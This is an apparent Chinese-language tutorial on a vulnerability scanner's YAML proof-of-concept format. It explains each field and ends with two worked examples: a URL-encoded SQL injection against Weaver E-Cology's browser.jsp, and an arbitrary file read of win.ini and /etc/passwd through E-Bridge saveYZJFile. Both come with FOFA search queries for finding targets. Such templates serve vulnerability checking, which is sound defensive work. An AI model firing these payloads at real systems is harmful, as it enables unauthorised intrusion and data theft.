0x00 前言
免责声明
文章仅用作网络安全人员对自己网站、服务器等进行自查检测,不可用于其他用途,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作
本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
0x01 Poc完整模板
product: ''
vName: ''
type: ''
vID: [ ]
level: 0
vDesc: ''
version: ''
note: ''
search: { }
protocol: http
link: ''
fix:
- 修复方法
model: ''
logic: and
exploit:
- exp:
method: get
follow: false
path: ''
header: { }
cookie: ''
json: { }
file: { }
data: ''
dataJson: { }
verify:
path: ''
logic: and
check:
- status: 200
body:
value: [ ]
logic: ''
nbody:
value: [ ]
logic: ''
model:
value: [ ]
logic: ''
regex:
value: [ ]
logic: ''
header:
value: [ ]
logic: ''
length:
check: ==
num: 0
time:
check: ==
num: 0
POC解析和使用
product
产品名称:通达OA、用友NC Cloud、泛微E-Office、...
值:string
product: 泛微E-Cology
vName
漏洞名称:xxxxSQL注入
值:string
vName: 泛微E-Cology v9 browser.jsp 存在SQL注入
type
漏洞类型:SQL注入、文件上传、反序列化、命令执行、外部实体注入、目录遍历、访问控制、信息泄露、...
值:string
type: SQL注入
vID
漏洞ID:列表类型,一行一个,CVE-xxx-xx、CNVD-xxx-xx、QVD-xxx-xx
值:list
vID:
- CNVD-2023-12632
- QVD-2023-5012
level
漏洞等级:1.低危、2.中危、3.高危
值:int
level: 3
vDesc
漏洞描述:xxx漏洞
值:string
vDesc: 由于泛微e-cology9中对用户前台输入的数据未做校验,可以通过构造恶意的数据包导致SQL注入漏洞,进一步获取敏感数据。
version
影响版本:xxx 0.1、xxx 0.2
值:string
version: 泛微e-cology V9<10.56
note
备注/笔记:需手动请求xxx验证
值:string
note: ''
search
搜索资产:FOFA、Hunter、Quake、ZoomEye、...
值:dict
search:
FOFA: app="泛微-协同商务系统"
protocol
漏洞协议:目前只能使用 http
值:string
protocol: http
link
参考链接:http(s)://xxx.xx
值:string
link: https://blog.csdn.net/qq_50854662/article/details/129992329
fix
修复方案:列表形式,一行一条
值:list
fix:
- 官方修复方案:https://www.weaver.com.cn/cs/securityDownload.asp
model
加载模块:目前使用难度高,暂不开放
值:string
model: ''
logic
判断逻辑:针对以下主要检测方法的,当主要检测方法支持添加多个结构时,程序会根据logic的值判断是否继续执行或者漏洞是否验证成功,可选值(and/or)
值:string
logic: and
exploit
漏洞检测方法:值为一个列表,如果有多个检测结构则会依次进行检测
值:list
exploit:
- exp:
...
exp
漏洞请求:请求配置和请求值
值:dict
method: get
# 请求方法:post/get
follow: false
# 是否跟随跳转:true/false
path: ''
# 请求路径,不填写时默认请求/
header:
Content-Type: application/x-www-form-urlencoded
# 请求头配置:dict类型,根据yaml格式填写
cookie: ''
# 请求Cookie,配置Cookie值,在Header中和这里直接填写都可以
json: { }
# application/json 的请求值,支持两种填写格式
# 格式1
# json: { "xx": "xx" }
# 格式2
# json:
# xx: xx
file:
myFile:
- aa.php
- <?php phpinfo() ?>
- text/html
# multipart/form-data 的请求值,格式参考 xxx:['文件名','内容','文件类型']
data: 'ab=xx&cd=xx'
# application/x-www-urlencoded 的请求值
dataJson:
ab: xx
cd: xx
# application/x-www-urlencoded 的请求值,以json格式编写请求值
# 当存在file值时,dataJson为file中的附加值
verify
漏洞验证:验证方法
值:dict
path: ''
# 验证请求,填写值时会请求指定路径后进行漏洞验证
logic: and
# 判断逻辑,当为and时需要check的判断列表都匹配
check:
check
漏洞验证方法
值:list
logic:check中所有的logic都为判断逻辑,判断多个值的逻辑
check:
- status: 200
验证响应码,只能指定固定值
check:
- body:
value:
- xx
xx
logic: 'and'
匹配响应体中是否存在xx字符串
check:
- nbody:
value:
- xx
xx
logic: 'and'
匹配响应体中是否不存在xx字符串,logic作用查看check说明处
check:
regex:
value:
- xx
logic: 'and'
使用正则表达式匹配响应体中是否匹配到值,logic作用查看check说明处
check:
header:
value:
- text/html
uid=
logic: 'and'
匹配响应头中是否存在xx字符串,不需要完整匹配,只要
text/html; charset=utf-8
中包含text/html
就为真,logic作用查看check说明处
check:
length:
check: ==
num: 0
判断响应字节
check用来判断num值的方法,值有
>=
、<=
、==
、!=
可选
check:
time:
check: ==
num: 0
判断响应时长
check用来判断num值的方法,值有
>=
、<=
、==
、!=
可选
0x02 poc示例
简单请求
product: 泛微E-Cology
vName: 泛微E-Cology v9 browser.jsp 存在SQL注入
type: SQL注入
vID:
- CNVD-2023-12632
- QVD-2023-5012
level: 3
vDesc: 由于泛微e-cology9中对用户前台输入的数据未做校验,可以通过构造恶意的数据包导致SQL注入漏洞,进一步获取敏感数据。
version: 泛微e-cology V9<10.56
note: ''
search:
FOFA: app="泛微-协同商务系统"
protocol: http
link: https://blog.csdn.net/qq_50854662/article/details/129992329
fix:
- 官方修复方案:https://www.weaver.com.cn/cs/securityDownload.asp
model: ''
logic: and
exploit:
- exp:
method: post
follow: false
path: /mobile/plugin/browser.jsp
data: isDis=1&browserTypeId=269&keyword=a%252527%252520union%252520select%2525201%25252C%252527%252527%25252B%252528SELECT%252520MD5%252528123456%252529%252529%25252B%252527
verify:
path: ''
logic: and
check:
- status: 200
body:
value:
- e10adc3949ba59abbe56e057f20f883e
logic: and
一次post请求
判断响应码和响应体包含字符串
复杂请求判断
product: 泛微 E-Bridge
vName: 泛微E-Bridge saveYZJFile 任意文件读取-windows
type: 文件读取
vID: [ ]
level: 3
vDesc: 泛微云桥e-Bridge存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。
version: ''
note: 拼接上面获得的id号,读取文件/file/fileNoLogin/{id}
search:
FOFA: app="泛微云桥e-Bridge"
protocol: http
link: https://www.cnblogs.com/pursue-security/p/17775878.html
fix: [ ]
model: ''
logic: or
exploit:
- exp:
method: get
follow: false
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/windows/win.ini&fileExt=txt
verify:
path: ''
logic: and
check:
- status: 200
body:
value:
- filepath
- filesize
logic: and
- exp:
method: get
follow: false
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
verify:
path: ''
logic: and
check:
- status: 200
body:
value:
- filepath
- filesize
logic: and
进行了两次get请求
判断第一个请求漏洞是否验证成功或者第二个是否成功
判断响应体中是否同时包含
filepath
和filesize
评论